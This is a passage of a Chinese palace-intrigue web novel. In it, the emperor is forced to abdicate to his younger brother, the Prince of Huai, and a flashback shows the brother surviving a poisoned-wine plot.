林婉卿见危机已除,马上弃了傅棠梨,又去抱赵元嘉的大腿,哭哭啼啼,她平日里脑子不太好使,但今夜这惊心动魄的,她自然想了起来,当初她与林贵妃在灵犀殿陷害太子妃时,淮王曾说过的一句话。 “也罢,早晚而已。” 看来淮王是一定要杀她的。 林婉卿只觉一阵毛骨悚然,赵元嘉伸手来扶她,她浑身止不住地发抖,挣扎了几下,没能爬起身,突然腹中绞痛,忍不住抱住了肚子,哭着叫喊:“好疼,太子救我,我要死了,好疼啊!” 赵元嘉跺脚:“好了,这节骨眼了,你别矫情了,给孤添了多少乱子,还闹?” 宫人急忙上前搀扶林婉卿回去,她一边走还一边哭着。 却不说那头林婉卿和赵元嘉在闹,这一边,高宫正带着几个太医马上急匆匆地赶了过来。 “听闻太子妃今夜受了惊吓,快叫太医瞧瞧,可有什么不妥之处?” 傅棠梨此时已经放松下来,不禁苦笑,摆手道:“哪里这么金贵了,无妨,不需劳动诸位大人。” 高宫正一脸紧张:“太子妃可别大意,那群粗野军汉,向来手脚没个轻重,您若是擦破点皮,回头我叫人把他们抓出来各打五十板子,您还是叫太医看看,须得一根头发丝儿都不短,才能叫人放心。” 太医们赶紧围了上来。 很快,西宁伯府的人也过来了,带着一应辎重装备,开始当场重搭幄帐:“那群蠢货实在无礼,太子妃放心,我们家大公子已经过去找他们讨要公道了,这是大公子的帐篷,搬过来给您先用着,您是何等金尊玉贵的人,可不能简慢了。” 那顶幄帐精致又华美,柔软的羊皮上雕满了繁复的瑞兽卷草纹,穹顶配以赤金山形帐构,紫水晶为帘,珍珠簟为底,又覆九重缂丝云锦毯,看着就不像是男人能用的东西。 傅棠梨的头更疼了:“就这光景,乱哄哄的,你们瞎讲究什么,真真不必。” 突然,那边的宫人又叫嚷了起来:“不好了、不好了、林承徽很不好了。” 方司则跑了过来,她今天跑来跑去的,尤其忙碌,一头大汗:“太子妃,林承徽……下面、下面流了很多血,这情形不对。” 而赵元嘉已经在大声呼喊,他的声音急得发颤:“太医、太医,快叫太医!二娘、二娘在哪里,你快快过来!” 如今太子但凡有事,第一个要叫的就是太子妃。 太医们正围在太子妃的身边嘘寒问暖,听到太子的呼喊声,他们齐齐抬眼看了看高宫正。 高宫正连眉毛都没动弹一下,淡淡地道:“区区承徽而已,算什么,叫她且等着。” 赵元嘉又在大叫:“二娘!二娘!” 这是什么晦气玩意。 傅棠梨叹气,但赵元嘉叫得太急,没奈何,她便带了两个太医,过去瞧了一下。 但瞧不瞧的,都没什么要紧了,林婉卿肚子里的孩子已经保不住了。 从长安出来,一路颠簸,本就坐胎不稳,何况这边太子不再宠爱她,那边林贵妃又死了,她心中早已惶惶不可终日,今夜惊闻噩耗,父母兄弟皆亡于一朝,又有人凶神恶煞地要杀她,她禀性本就柔弱,这一连串打击之下,更是难以支撑,惊惧攻心,气淤于脉,冲撞胎气,那未成形的孩子没的福分,掉了下来。 一通忙乱,太医只来得及善后,宫人们收拾了血污,拿了那胎儿出去掩埋。 林婉卿躺在那里,号哭不已,凄声大叫:“孩子,我的孩子啊,还我的孩子!” 赵元嘉亦是心酸,纵然这会儿林婉卿容形狼藉,他一点也不嫌弃,过去握住她的手,颤声抚慰她:“没事的,卿卿,没事,我们以后还会有孩儿的,你别哭了,哭坏了身子可怎么办。” 林婉卿的脸色灰白得如同死人一般,头发湿透了,一缕一缕地贴在脸上,眼底布满了血丝,泪水不停地流出来,声音嘶哑难以辨认:“我的孩子没了,我的父亲、母亲……还有哥哥,都没了,姑姑也没了,我什么都没了,我还活着做什么呢?做什么呀?” “你还有孤。”赵元嘉忆及旧日情深,心痛难耐,几乎哽咽,“孤在这里,你放心,孤会一直陪着你。” “你不会……”林婉卿遽然睁圆了眼睛,用尽全身的力气,想要从榻上爬起,她的手伸出去,直挺挺地指向傅棠梨,目眦欲裂,“是你,都是你害的,你把我的太子抢走了,是你害我!” “卿卿,你冷静些,别这样。”赵元嘉急忙抱住了林婉卿,回头又对傅棠梨露出恳求之色,低声道,“二娘,你先出去,别叫她看到你。” 傅棠梨对于赵元嘉真是无话可说,但此时看着林婉卿的模样,又觉得她可悲又可怜,这光景,也不想去计较,她摇了摇头,走出幄帐。 空气里血腥的味道尚未散尽,林婉卿痛苦的哭声犹从身后传来,凄凉如同女鬼的悲泣,远处,马蹄纷沓,士兵行进间兵器发出碰撞的铿锵之声。 这是个动乱不安的夜晚。 傅棠梨站在那里,看了看天上的月,月色明朗,照不见人间悲欢。她的心头沉甸甸的。 —————————— 玄甲军主帅大帐极为宽敞,容得下众多文武百官,两侧火把插在壁上,火光幢幢,忽而大亮、忽而昏暗,照着众人面上神色各异。 安王、李光达站在正中,庄敬抱着臂,跟随在李光达身后,朝中武将多站在这一侧。 而以尚书令傅方绪为首的一干文官则站在另外一侧。 双方僵持已久,傅方绪年纪大了,很有些支撑不住,他捂住胸口,咳了两声,勉强笑了一下,试图息事宁人:“圣上日间劳累,这会儿已经安寝了,不宜惊扰,玄甲军杀了林商,这事情嘛,也是事出有因,值此用人之际,或许圣上并不十分追究,总之,明日、明日再议也不迟。” 庄敬“呵”的冷笑了一声,拖长了声音,叫了一声:“王宪。” 王宪应声,从帐外进来。大帐外面黑压压地围着骁悍骑兵,马覆铁甲,兵执长戈,杀气几乎凝固成胶质。 文官们心里都是一凛。 庄敬见了王宪,劈头就骂:“你这无知莽夫,乱杀朝廷命官,实在大胆,看看你闯的大祸,如今诸位大人要问罪于我,你说,如何处置?” 王宪方才因一时莽撞,冲撞了贵人,才被打了十个大板子,这会儿疼得龇牙咧嘴的,又不能在这群大臣面前流露出来,于是说话间就带了一股咬牙切齿的意味:“庄将军放心,我一人做事一人担,不和你相干。” 大臣们听着那语气就觉得心里发毛,默默地向后退了一步。 王宪阴恻恻地笑了两声,从腰间拔出佩刀来,拿了一块鹿皮擦刀:“来,哪位大人要问罪庄将军,出来,我和您解释解释。” 他的刀身湿淋淋的一片红,说话间,血水犹在滴淌。 林商一家上下,皆丧命此刀下,听闻已经被纳入东宫的女儿也几乎不免,这手段,何等凶残。 王宪既说“不和你相干”,意思就是他要杀人,庄敬也管他不住,文官们一阵胆寒,齐齐又向后退了一步。 傅方绪脸色十分难看。 大理寺卿曹升忍不住怒道:“庄敬你够了,你大半夜的 逼着我们都过来,究竟有何用意,直说罢,犯不着拐弯抹角的。” 这时候,安王开口了,他的声音苍老而悲愤:“大周自先祖开世,迄今二百余年,四海归心,万民顺化,千秋基业也,这大好山河若一朝亡于胡莽之手,我赵氏的先人都不得安息了!当日谁言弃长安者,当诛九族也!林商狗贼,虽死不能赎其罪!” 这不但是对傅方绪,甚至连着元延帝一并骂进去了。 傅方绪胡须颤抖,强忍心虚:“叛军势头正盛,朝廷兵力不足抗衡,留在长安,等死而已,老夫是为了什么,还不是为了给大周留一线薪火,怎么,死守长安以殉国,难道就能挽救大周危难吗?无济于事之举,蠢人为之。””无能者无用,谁为蠢人,尚未可知。”李光达冷冷地打断了傅方绪的话,他早年随先章武帝征战四方,气度间自带杀伐之态,三言两语,干脆而果断,“当今圣上不能守社稷,赵氏皇族自有人可承先祖之志,光复山河,此方为明主。” 这种大逆不道的话一出口,大帐中的空气都凝固了一下,文官们惊骇难当,再次齐齐后退。 王宪的手已经搭在了刀柄上,用不怀好意的眼神盯着那些个文官。 在场的谁也不是傻子,李光达的话是什么意思,每个人的心里都和雪洞似的。 “不可!万万不可!”傅方绪大惊失色,脱口而出,他的孙女是太子妃,他怎么能见得江山易主呢。 那些文官们各怀心思,交头接耳,私语如蝇声,嗡嗡不绝,不多时,陆陆续续有人出声,或是附和、或是反驳,渐渐吵成了一锅粥。 曹升看了看左右,使劲咽下一口唾沫,喃喃地道:“可、可是,淮王重伤,性命垂危,不能战,这、这……” “淮王的安康,毋须曹大人来担忧。”李光达一脸肃容,虚空拱手拜了拜,“而今之计,唯有早作决断,请圣上禅位于淮王,才可力挽狂澜,若不然,叛军不日将至,今日在场诸位大人的头颅恐怕皆要堆砌于长安城楼之上了。” 别说叛军了,就眼下,王宪手持利刃,虎视眈眈,大帐之外,重兵围困,插翅难逃,今夜之局,已成定数。 大帐上首摆着一张高背交椅,虚位以待,尚无人落座,上面铺着一张虎皮,虎头垫于脚下,犹呈怒目圆睁之态,仿佛逼视帐中众人。 —————————— 十二枝庭燎燃于王帐,帘幛高悬,上面绘着九州大地的山岳与江流,水墨的影子落下来,在烛光间有些模糊,如同纵横交错的经纬,笼罩在元延帝的头顶上。 命如此经纬,皆由天定,人所不能料及。 他到现在还不太相信眼前发生的一切,推开宋太监的搀扶,伸出颤抖的手,指着半夜聚集在王帐中的大臣们:“你们在说什么?” 李光达站在前列,他看着元延帝,面无表情,他的眼神甚至是嘲讽的,一如从前:“请陛下为江山社稷为重,禅位于淮王,挽大厦于将倾,救万民于水火,成就一代贤君之名。” “他在说什么!”元延帝瞳孔急剧收缩,他还是不信,再次发问。 安王转过头去,发出一声长长的叹息。 一干武将表情生冷且凶煞,一言不发,文官们目光躲闪,支支吾吾,傅方绪等几个老臣跪了下来,连连顿首,嚎啕大哭,却也并无他话。 “放肆!”元延帝终于反应过来,他双目尽赤,“你们这群乱臣贼子,胆敢逼宫谋反,实在罪该万死!是谁?谁指使你们的,是五郎?是五郎对不对!” 他咬牙切齿,面目几乎扭曲:“这个大逆不道的畜生,他曾发下重誓,永不与朕为敌、永不与朕兵刃相见,他都忘了吗?背信弃义,畜生!他就不怕应了誓,遭万箭……” “陛下!”李光达大步踏前,厉声打断了元延帝未尽之言,“淮王并未与陛下为敌,今日局势,但凭陛下自行决断,陛下若愿以身殉国,臣等当一并追随,不负圣恩。” 庄敬躬身俯首,语气恭顺而冷静:“臣无能,无力辖治玄甲军,玄甲军自先帝始创,传于淮王,两代主帅皆有军令,只可战、不可退,兵士不肯听臣调度,彼等愿效郭氏父子,与叛军决生死,臣不可负袍泽,只能同往,今与陛下辞别,请陛下珍重。” “庄敬!庄敬!”元延帝踉跄着上前两步,声音呕哑,“你要带兵离开朕,那朕怎么办?谁能来护卫朕的安危?你们、你们都要抛弃朕吗?你莫忘了,朕是天子、朕才是天子!” 李颜凶名昭著,言明定要屠尽皇族宗亲并文武百官,潞州与徐州两路援军迟迟不至,今若庄敬率玄甲军去,余者无缚鸡之力,若待宰羔羊也,百死而无一生。 这一点,大臣们明白、元延帝也明白。 众大臣皆跪,触首于地,长拜不起:“请陛下为江山社稷为重,禅位于淮王,成就一代贤君之名。” 王帐外,士兵亦跪,甲胄铿锵作响,巨大的声音惊起了夜间的飞鸟:“请陛下为江山社稷为重,禅位于淮王,成就一代贤君之名。” “不!不!绝不可能!”元延帝握紧双拳,声嘶力竭,宛若癫狂,再无半点平日温雅之态。 “圣上。”冯太后的声音突兀地响了起来。 安王退后了一步,保持了应有的恭敬:“太后娘娘。” 宫人挑开门帘,双胞胎的陈王和汝宁公主一左一右地扶着冯太后走了进来。 这些日子的颠簸让冯太后显得十分憔悴,精致的妆容也掩饰不住她眉间深刻的皱纹,她已经老了,走起路来都显得有些巍巍颤颤的,慢慢地挪到元延帝的面前,定定地看着这个儿子,情不自禁地流露出悲哀的神情。 元延帝喘着粗气,有些怔忡:“太后、太后……你和他们也一样吗?” 冯太后的眼中落下泪来:“圣上难道要眼睁睁地看着大家伙一起去死吗?哀家这个岁月,活也活够了,去就去罢,没甚要紧的,但是孩子们呢……” 她指了指陈王和汝宁公主:“他们两个还这么小,乱军之下,焉有活路?还有元嘉,可怜皇后才去,圣上竟连她唯一的骨血都不能保全,于心何忍?” 元延帝呆滞了半饷,突然惨笑起来,他几乎失去了言语的能力,翻来覆去不断重复:“原来这样,太后,连你也要抛弃朕吗?连你也要抛弃朕吗?连你也……” “圣上叫五郎来吧。”冯太后抬袖掩面,不忍看见元延帝的情形,“无论如何,以五郎对圣上的情分,他会善待圣上、善待这些孩子,祖宗的江山社稷得以保全,来日,我也有脸去泉下见你父皇,你何必……” “不、不、不!”元延帝厉声喝止,抓起手边的砚台,砸了出去,“闭嘴!你们都给朕闭嘴!” “父皇!”陈王冲上前去,挡在冯太后身前,那砚台重重地砸在他的头上,他闷哼了一声,仰面倒下,满脸都是血。 汝宁公主惊恐地哭了起来。 元延帝脸上的肌肉不断抽搐着,发了疯般地咆哮:“朕是皇帝,朕宁可死,朕要你们陪朕一起死!朕绝不会叫他得逞!绝不会!朕要和你们一起去死!都去死!” 他高高地举起双手,凭空挥舞着、抓挠着,想是想要掐住什么,恶狠狠的。烛光倏然动荡起来,摇来摆去,他的影子映在地上,拉得长长的,像一截扭动的蛇或者是虫子,在火光中挣扎。 大臣们沉默地望着元延帝,连冯太后也不敢出声,王帐里,元延帝愤怒的嗥叫声和汝宁公主的无助的哭泣声混合在一起,显得怪诞而刺耳。 李光达露出了厌恶的神情,不耐地把脸别开了。 半晌之后,元延帝忽然又安静了下来,好似蜡烛断了头,琴弦断了线,嘎然而止,连半点余音也无,他的嘴巴张了张,又阖上了,像是累了一般,倒退两步,跌坐在榻上,茫然地看着眼前的人群。 大臣们还跪在地上,似乎一切如旧,他们还是臣服于他。 但没有人说话,这些大臣甚至已经不愿意再花力气来说服他,仿佛一切都已经尘埃落定,无 论他说“是”还是“否”,完全没有区别。 夜渐渐深了,深到看不见底。 过了很久、很久,元延帝再次开口,他已经疲倦了,连声音都是木然的:“好了,你们去把五郎叫来吧,朕……要见他。” 王帐里能听到明显“呼”的吐气声,所有人不约而同地放松了下来,什么话也不用说,他们很快出去了,连陈王也被人抱出去了,地上留下一滩墨汁和血迹混合的痕迹,在慢慢干涸。 …… 元延帝独自一人,佝偻着身体,颓废地、沉默地坐在王帐内。 周遭一片死寂,熏炉里的香已经凉却,空留残屑,庭燎中的蜡烛燃烧着,发出一点“噼啪”的声响,烛火摇曳起来,帘幛上的山河水纹又在晃动,如同这飘摇的现世。 元延帝没有经历过这般情形,他生于皇族、长于深宫,天生高贵不凡,这些离乱与纷争从来到不了他的面前,而到了眼下这般光景,他才突然记起,章武帝临终前,曾经对他说过这么一句话:“德薄而位尊,力小而任重,鲜不及矣,五郎害汝犹不自知,大谬也。” 大谬也。 他惨然笑了起来,笑得肩膀颤抖,却没有发出一点声音。 铿锵的铁甲声又起,伴着沉重的马蹄,地面震动起来,战马呼气的声音都显得那么凶狠,好似从地底下冒出来的怪兽一般。 马蹄声在王帐前停了下来,然后是迅速而整齐的脚步声,把王帐重重地包围了起来。 元延帝迟缓地抬起头来。 赵上钧走了进来,他出家多年,来见元延帝的时候,常是一身道袍,清净疏离,有离世出尘之意,眼下亦如此。 这有时候会让元延帝忽略了,他的这个弟弟,其实骨子里如同他们的父亲一般,铁血铁腕、无心无情。 元延帝抬起脸,点了点头,神情黯淡:“五郎来了,坐吧。” 赵氏子弟素来容貌出众,元延帝年近四旬,原有白鹤之态、翠柏之姿,是个雍容而华贵的美男子,而此刻,烛光照着他,脸色枯败,头发斑白,眼角皱纹深陷,不过须臾,他仿佛老了几十岁,垂垂暮年,行将就木。 赵上钧面上没有什么表情,他也没有坐下,而是一丝不苟地给元延帝行了臣子之礼:“见过陛下。” 元延帝呆滞良久,干巴巴地问了一句:“你的伤,好了吗?” “有劳陛下挂念,臣已大好了。”赵上钧的语气淡淡的。 元延帝怔怔地看着赵上钧,露出了一个比哭还难看的笑容:“五郎,你一定要逼朕至于此吗?” “臣何尝逼迫陛下呢?”赵上钧毫不避讳地直视着元延帝,他的目光平静得近乎残酷,“其实臣可以袖手旁观,待到李颜把陛下和一众皇子全部杀了,臣一样可以顺理成章登上帝王位,对臣来说,只是早几天或者晚几天的事情,无甚分别,如今臣还愿意为陛下善后,陛下应该感激臣才是。” 元延帝嘴唇颤抖,绝望地抱头:“五郎,你不能这样对待大兄,不能这样!” “那么,陛下以为,臣该如何呢?”赵上钧好似很轻地笑了一下,“臣曾告诫陛下,李颜狼子野心,必招祸患,陛下却不相信臣,依旧予他种种权势,令他与臣制衡,以至养虎为患,臣又能如何?” 他微妙地停顿了一下,慢慢地俯下身,语气甚至是温和的,“反观臣呢?臣为陛下出生入死,肝胆涂地,陛下却三番几次欲置臣于死地,臣出征北庭,陛下叫人给突厥送去破甲弩,还命李颜阻拦援军,陛下,你知道吗,那一次,臣真的差一点儿就死了。所以,陛下觉得,臣该如何才好?” “你在怨恨朕吗?”元延帝陡然激动起来,他一把抓住了赵上钧的手,就像溺水的人抓住浮木,用力到指节都喀喀作响,“你发过誓,永不与大兄为敌,永不与大兄兵戈相见,你……” “臣做到了。”赵上钧打断了元延帝的话,他的语气那么理所当然,不容任何人置疑,“陛下养了臣那么多年,应该知道臣的心性和手段,如今陛下还能安安稳稳地坐在这里和臣说话,这天底下再没有比臣更能守信的人了。” “五郎……”元延帝情不自禁落下泪来,他站起身来,踉跄地向前一步,赵上钧的身量比他高了许多,这个角度,他只能抬起脸来看着赵上钧,那是一种近乎哀求的姿态,“当年在广德殿、在安仁殿……大兄都救过你的命,如果没有大兄,你早就死了,五郎,你还记不记得?你就当再还大兄一次情,可不可以?五郎,这是你欠大兄的。” “大兄说错了,我对大兄已经了无亏欠。”赵元嘉不再自称“臣”,他的神情似悲悯、又似轻蔑,他直直地望着元延帝,“我一直都知道,安仁殿中,在我酒里下毒的人是大兄,不是母后,而大兄不知道的是,酒已经叫人调换了,我根本没有中毒,殿外也早就伏下重兵,其实,那时候我随时可以……杀了大兄。” 元延帝的瞳孔骤然缩紧,整个人都僵硬住了,他所有的表情都凝固在脸上,形成一个滑稽的面具,他一点一点松开了赵上钧的手、一点一点地开始后退。 “所以,五郎对大兄不够好吗?大兄还要五郎如何呢?”赵上钧慢慢地、这样问道。 …… 章武三十年,冬,小雪。 夜幕如同一只巨大的手,从虚空伸下,把整座宫城牢牢地握在掌中,密不透风,看不见天光,朱瓦琼台都隐没成黑黢黢的影子,躲在暗处,悄无声息,只有零星几座宫殿还点着灯,虚弱地摇曳,将熄未熄,明灭不定。 雪落在脸上,不很大,冷得彻骨。 高宫正挑着一盏羊角风灯在前面引路,灯火如豆,照不清前方,赵上钧在黑夜中无声地行走,庄敬和孙澄一左一右跟在他的身后,沿路有巡防的金吾卫士兵,远远地看见淮王,恭敬地躬身,又避开了。 “晋王用的是阴阳壶,酒里下了软骨散,幸而我发现及时,把酒调换了。”高宫正目不斜视,一边走,一边低声说道,“另有郭元俭带人躲藏在安仁殿内,伺机发难,殿下还请多加小心。” 孙澄冷笑了一声:“何必费这手脚,我们的人马已经安排好了,只待殿下一声令下,能为您踏平安仁殿。” 赵上钧脚步不停,略一回首,看了孙澄一眼,他的眼眸沾着雪。 夜里的风吹过来,冷得孙澄打了个激灵,他马上把嘴闭紧了。 安仁殿就在前面,零星的雪落下,周遭一片漆黑,独它灯火通明,在夜里等待着不知情的飞蛾扑将过去。 从游廊外隐约传来三声鸟鸣,尖利而短促,密簇的刀光在黑暗中闪了一下,又隐没下去。庄敬和孙澄对视了一眼,相□□了点头。 赵上钧停住了脚步,他望着安仁殿,在那里站了一小会儿。 “殿下。”庄敬提醒了一声。 “听我掷杯为令,你们就进来。”赵上钧终于开口,一字一句,“……给我杀了晋王。” 庄敬和孙澄一起俯首,而后退下。 赵上钧拾步上了台阶,里面的宫人为他挑起了门帘:“淮王殿下来了。” 十二叠围屏后锦幛低垂,殿内的火盆里燃着兽金锭,梨木锻成炭,与沉香同炉,温暖而馥郁的香气弥漫在雕梁画栋间,似春还在。 冯皇后和晋王赵上宣一起坐在那里,两个人的脸色都不太好看,有些苍白。 看见赵上钧进来,赵上宣几步迎上前,拉住了赵上钧的手:“五郎来了。” 赵上钧已非稚儿,不太习惯兄长这样亲昵的接触,他淡淡地“嗯”了一声,不着痕迹地把手收了回来。 赵上宣并没有在意这个,他的面上带着忧心忡忡的神情:“父皇那边如今是什么情形,五郎可曾去看望?” “我刚从幽州回来,宫中的情形并不知晓。”赵上钧语气平平。 冯皇后站了起来,叹气道:“圣上前些日子病得很重。”她紧张地看了看左右,压低了声音,含糊地道,“大约也就是这一两天的事,本宫几次求见圣驾,却总被拒于永乐殿外,叫人摸不清虚实。” 她揣度着赵上钧的神色,试探地道:“本宫倒不怕什么,就是担心你们兄弟两个,圣上迟迟未立太子,这个节骨眼上,人心浮动,若是有什么变故,五郎,你可一定要护你大兄周全。” 赵上钧沉默了一下,简单地应了一个字:“是。” 冯皇后早年自身难保,生了赵上钧就弃之不管,待到后来局势稳定,她重登后位,想要和这个孩子亲近也亲近不起来了,心里既后悔又愧疚,如今见赵上钧对她冷淡,更是难受,勉强笑了一下,上前去,提起案几上的酒壶,亲手斟了一盏酒,捧给赵上钧。 “外头天冷,五郎星夜赶回长安,路上定是辛苦,喝口酒,驱驱寒气也好。” 碧玉壶,缠枝海棠燕雀纹,壶柄上镶嵌着两颗小小的红宝石,一盏清酒,酒泛琥珀光。 赵上钧垂下眼帘,神色不动:“我最近不太喝酒。” 冯皇后怔了一下,黯然后退一步:“你这孩子……和母后要这般生分吗?” “五郎并无此意,母后不要多思。”赵上宣接过冯皇后手里的酒盏,转手再次递到赵上钧面前,“来,五郎陪大兄喝一杯吧,大兄这会儿心里七上八下的,没个着落,需得喝杯酒压压惊。” 赵上钧微不可察地顿了一下,接过了那盏酒。 赵上宣自己亦斟了一盏,举杯和赵上钧碰了碰,仰首一饮而尽。 殿上明烛,照亮此间如白昼,侧旁象牙围屏,以钿螺镶嵌虎兽,呼啸于山林,烛光太盛,围屏后有模糊的影子闪动了一下,似画上虎兽抬首,张口欲噬人。 赵上钧低头,慢慢喝下了那杯酒。 赵上宣的嘴唇抽搐了一下,似乎想要张口说些什么,却硬生生地忍住了。 一盏酒饮尽。 赵上宣的眼中突然露出悲色,他仓促起身,朝赵上钧伸出手去:“五郎……” 赵上钧的手松开了,酒盏脱手掉下。 掷杯为令,杀了晋王。 第67章 第67章夺位 他的目光望向兄长,就是这一眼、就是这一瞬间,他又迟疑了,往昔的情意轰然涌上来,把他的理智淹没,他几乎是下意识地俯身下去,险险地抓住了那个酒盏,没让它碰到地面。 他跌在地上,双膝跪倒,手里紧紧地握住酒盏,缓缓地抬起头,急促地喘息着,眼眸浮起血色。 赵上宣踉跄着扑过去,抱住了赵上钧,他抱得很用力,以至于发抖起来:“五郎、五郎……” 好似他只会叫这个名字,其他的,再也说不出口了。 “为什么?”赵上钧其实还是不太愿意相信的,他如同幼时一般,把头靠在兄长的胸前,他完全动不了,要花费很大的力气才能控制住自己,不把那个酒盏摔在地上,他喃喃地这么问道,“大兄不要五郎了?想杀了五郎吗?” “没有、不是、不是的。”赵上宣脱口而出,本能地反驳,他说完,又觉得这话是如此苍白无力,突然大恸,哭了起来,“五郎,不是这样的。” 冯皇后跌坐于榻,泪如雨下,眼前的两个都是她的儿子,但是她只能选一个,做母亲的心都要碎了。 天家无父子、何况兄弟乎?冯皇后得知章武帝立下了遗诏,赵上钧不在长安,她转而告诉赵上宣,本以为赵上宣会欢喜的,但没有想到,赵上宣也想要那个位置,为了这个,他要杀了亲手养大的弟弟。 冯皇后心疼赵上钧,不忍叫他临到末了受这般锥心之痛,她以袖掩面,痛哭着,哄骗他:“五郎,不要怪你大兄,大兄还是疼你的,好孩子,是母后不好,都是母后的错,是母后在酒里下毒,你要怪就怪母后。” “哗啦”一声响,象牙围屏被推倒,郭元俭带着数十士兵,手持兵刃,从后面出来,他几个健步冲到赵上宣面前,提起了手中的剑。 “不!”赵上宣好似惊慌失措,他把赵上钧抱得更紧了,疯狂摇头,“不、等等!” 郭元俭勉强收住身势,气得跺脚:“晋王怎如此优柔寡断,事到临头,何需犹豫,快快动手!” 赵上宣看了看怀里的弟弟,想起这孩子年幼时,生了病偎依在他怀中,也差不多是这个光景,他禁不住泪如雨下。 原本按郭元俭的意思,在酒中放入鹤顶红或者牵机引等剧毒,服之即死,不必再费手脚,但赵上宣终究不忍心让弟弟受那肠穿肚烂之苦,更何况,这孩子素有洁癖,届时脸色乌青、口吐血污、甚至于面目扭曲,他若到了泉下,也必然要生气的,故而赵上宣把药换成了软骨散。 如今赵上钧身体瘫软,毫无反抗之力,就这样,一剑穿心,了结就好。 赵上宣这么想着,一手扶着赵上钧,在赵上钧看不见的角度,缓缓地朝郭元俭伸出了手,艰难地道:“给我……” 郭元俭迅速将剑放到赵上宣的手里,沉声催促道:“殿下,快!” 赵上宣抓住了剑,身体发颤,双目通红,那剑似乎重逾千斤,他举了几次,也没能举起来。 “大兄……”赵上钧咬住牙关,手指蓄力,捏紧了酒盏。 烛火摇曳了一下,须臾明灭。 “不!”赵上宣突然大叫了一声,拼尽全力,将剑扔了出去,发出“哐当”一声响。 他下不了手,狠不下心,终究还是反悔了。 “晋王!”郭元俭大喝一声,脸色铁青。 赵上宣抱着弟弟,粗粗地喘着气,像是被困住的野兽,暴躁而无奈,但他还是很小心,拍着弟弟的后背,如同这孩子还小的时候,一遍又一遍地抚慰他:“没事了,五郎,没事,别怕,有大兄在,大兄会保护你,你什么都不用担心。” 他的眼泪滴在赵上钧的脖子后面,湿漉漉,还是温热的。 赵上钧恍惚想了起来,很多年前,那个下着大雨的春日,他病得迷迷糊糊的、快要死去,大兄抱着他,说过同样的话。 “有大兄在,大兄会保护你。” 宛如昨日、譬如今日。 赵上钧闭上了眼睛,如同从前一般,声音很轻、很轻,应了一声,“好”。 他的手指僵硬地屈张了一下,终于还是松开了,酒盏轻轻地滚落到地面,没有发出一点儿动静。 …… 王帐中的庭燎燃了彻夜,烛泪重重叠叠堆砌在枝脚下,慢慢地凝固、冷却,如同一团团死去的灰烬。 长夜将尽。”大兄要我让,我就让了,我自请出家修道,抛却唾手可得的皇位,大兄担心我反悔,我就立下重誓,永不与大兄为敌,永不与大兄兵刃相见,如此种种,应当足以偿清大兄昔年待我所有的恩义。”赵上钧拂了拂衣襟上并不存在的尘埃,轻描淡写地这么说道。 “可是,既然如此……”元延帝呆呆地坐在那里,茫然地道:“又为何会到了今日之局呢?要是……时间能够回头就好,回到从前,回到你小时候,我们兄弟两个还是那么要好,五郎,我把你从小养到大,其实我是真心疼爱你的,你信吗?” “我信,所以这么多年了,我为大兄做的那些事情,都是心甘情愿的。”赵上钧在元延帝的面前半跪下来,这样,他才能够和兄长平视着,此情此景下,他并不愿意以一种居高临下的姿势去看待兄长 ,而是尽量心平气和地告诉兄长,“但是,人总是会变,大兄已经变了,而我……也变了。” “五郎!”元延帝已经知道赵上钧要说什么,他试图打断这个对话,“你不要说……” “我变得贪心了,想要的更多了。”赵上钧平静地、不带任何情绪地,继续说道,“或许是我修行不够,做不到太上忘情,红尘种种,引诱我心神不宁,大兄是对的,权势才是这世间最好的东西,现在我已经明白这个道理了,好了,大兄,到此为止,把这个位置还给我吧。” “五郎……”元延帝颤颤巍巍地抬起手,他大约是想去碰触赵上钧的脸,如同很多年前那般,摸一摸这个孩子,不,这已经不是个孩子了,他的弟弟,强悍而威严,远甚于他这个帝王,此刻就在他的面前,将他逼到了最后一步绝路。 赵上钧将脸微微地侧转,避开了元延帝的手。 这是必然的。 元延帝的手僵在半空,顿了一下,迟缓地收了回来,落在膝盖上,干巴巴地搓了一下,他的神情反倒平静下来,甚至在脸上挤出了一个笑容,他笑起来的时候,眼角的皱纹如同枯死的、干瘪的树皮,毫无生气:“五郎,你长大了,和小时候完全不一样了。” 他用手比划了一下:“你刚生下来的时候,就这么小。”他又叹了一口气,“那时候,我想,可怜的五郎啊,父皇不要他,母后不要他,若是连我都不管他,他该怎么活下来呢?我尽心尽力地把他养大,我在他身上倾注的心血,甚于元嘉,为了这个,贞娘还和我怄气了很久,可是,有什么办法呢,这个是我的弟弟啊,他可只有我了。” 元延帝絮絮叨叨地说着,而赵上钧并没有回应,他只是安静地听着,事到如今,任何言语都已经没有意义。 烛火终于熄灭,吐出最后一缕烟,散在空气中,恍然如同将醒的梦。 “五郎,其实我是真心疼爱你的,你信吗?“元延帝目光中的悲伤被黑暗遮掩,并不为他人所见,他像是自语一般,再一次问出了同样的话。 “大兄,天,已经亮了。”赵上钧垂了眉眼,淡淡地说了这么一句。 他的眉目清冷,看不出什么情绪,不知道从什么起他就是这样了,年幼时那个爱生气、爱矫情的五郎已经不复存在。 时光流逝,把人轻易抛弃,再也不会掉头。 元延帝有些呆滞地思量了半晌,才木然点了点头:“好,你先出去吧,叫安王叔进来。” 赵上钧深深地看了元延帝一眼,烛火不明,光影晦涩,元延帝的身影佝偻而模糊,缩在那里,与他记忆中的兄长已经截然不同。 他觉得自己多少应该有些感慨,但实际上,他心中生不出任何波澜,起身走出了王帐。 天方破晓,远山青,长天净,日将上,晨霭乱散,长陵坡起伏绵延,茂盛的草木窸窸窣窣地摇晃着,虫蚁鸟兽陆续从沉睡中醒来,开始骚动。 巨大的、白色的海东青飞掠而来,在云端发出清晨的第一声啼鸣,尖锐而嘹亮,它在王帐上方盘旋了两圈,俯冲下来,稳稳地落在赵上钧的肩膀上,展开双翅,左右顾盼,金睛中凶光毕露。 群臣集于王帐外,皆俯首不敢直视淮王。 安王听传,进了王帐,少顷出,复召尚书令、中书舍人、翰林供奉及内侍总管宋太监等人入内。 天色渐亮,日从山间起。 重甲的骑兵密密麻麻地将这里包围,一层又一层,不知道有多少人马,一眼望去,长陵坡上黑压压的一片,长戟如林,寒光闪动。 至辰时中,安王携尚书令、中书舍人及翰林供奉出,持圣旨,宣帝王诏。 群臣皆拜跪,唯淮王岿然不动如山。 “大德曰生,大宝曰位,大哉乾元,乃统万民。朕自承天命,焚膏继晷,履冰在念,弗稍怠也。而今岁英华不复,倦于政也,复值此山河艰危之际,为宗庙计,将逊于位,让于淮王上钧。夫上钧者,朕之幼弟,先帝素钟爱之,宏才神武,睿智夙彰,今使天命于归,以安社稷。布告天下,咸使闻知。” 群臣跪而叩首,士兵下马,伏于地,齐齐山呼:“万岁、万岁、万万岁!” 